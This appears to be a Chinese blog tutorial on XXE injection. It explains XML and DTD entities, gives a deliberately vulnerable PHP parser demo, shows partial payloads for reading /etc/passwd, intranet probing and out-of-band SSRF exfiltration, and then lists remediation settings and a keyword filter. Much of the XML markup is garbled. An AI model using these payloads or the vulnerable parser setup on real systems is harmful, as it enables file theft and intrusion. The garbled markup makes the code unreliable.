cross-site scripting: dom 漏洞修复_第四十一课 从浅到深XXE漏洞演示与讲解

XXE漏洞

0x01 基础知识

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,...),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

<?xml  version="1.0"?>
catalog [xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doeauthor>
      <title>I love XMLtitle>
      <category>Computerscategory>
      <price>9.99price>
      <date>2018-10-01date>
      <description>&xxe;description>
   core>
catalog>

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。他就是长得下面这个样子

DTD,用来XML文档定义语义约束

<?xml version="1.0"?>//这一行是 XML 文档定义






实体类别介绍

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:
实体名称 "实体的值">
外部实体

外部实体即在DTD中使用

根元素 SYSTEM "文件名">
或者
根元素 PUBLIC "public_ID" "文件名">

0x02 漏洞讲解

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体,固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面

使用SYSTEM的外部DTD实体:

"URL/URI" >

使用Public的外部DTD实体:(这个在我们的攻击中也可以起到和 SYSTEM 一样的作用)

PUBLIC "public_ID" "URI"> entity-name;

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>

]>
&name;

xxe漏洞发生在应用程序解析XML输入时,没有禁止外部的实体的加载,导致攻击者可以构造一个恶意的XML

0x03 漏洞利用

php漏洞demo
<?php 

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

f9bdd36b3bbe3ca8489ee5164cc2f862.png

payload
  • file协议读取文件
<?xml version="1.0" encoding="utf-8"?> 

]>
&fengxuan;
  • 探测内网
<?xml version="1.0" encoding="utf-8"?> 

]>
&fengxuan;
  • SSRF
 

%remote;%int;%send;
]>
Java漏洞demo
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

/**
 * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
 * @author zhanglong
 *
 */
public class xml_test{
    public static void main(String[] args) throws Exception{
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();

        Document doc = db.parse(new File("student.xml"));
        //获得根元素结点
        Element root = doc.getDocumentElement();

        parseElement(root);
    }

    private static void parseElement(Element element){
        String tagName = element.getNodeName();

        NodeList children = element.getChildNodes();

        System.out.print(" + tagName);//element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
        NamedNodeMap map = element.getAttributes();//如果该元素存在属性if(null != map)
        {for(int i = 0; i             {//获得该元素的每一个属性
                Attr attr = (Attr)map.item(i);
                String attrName = attr.getName();
                String attrValue = attr.getValue();
                System.out.print(" " + attrName + "=\"" + attrValue + "\"");
            }
        }
        System.out.print(">");for(int i = 0; i         {
            Node node = children.item(i);//获得结点的类型short nodeType = node.getNodeType();if(nodeType == Node.ELEMENT_NODE)
            {//是元素,继续递归
                parseElement((Element)node);
            }else if(nodeType == Node.TEXT_NODE)
            {//递归出口
                System.out.print(node.getNodeValue());
            }else if(nodeType == Node.COMMENT_NODE)
            {
                System.out.print("");
            }
        }
        System.out.print("" + tagName + ">");
    }
}
支持的协议
6304b4f5bc4bdc9c6644d08f59a5a8f0.png

0x04漏洞修复

xxe漏洞修复与防御
使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据

过滤关键词:!ENTITY,或者SYSTEM和PUBLIC。

0x05参考

https://xz.aliyun.com/t/3357#toc-11

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值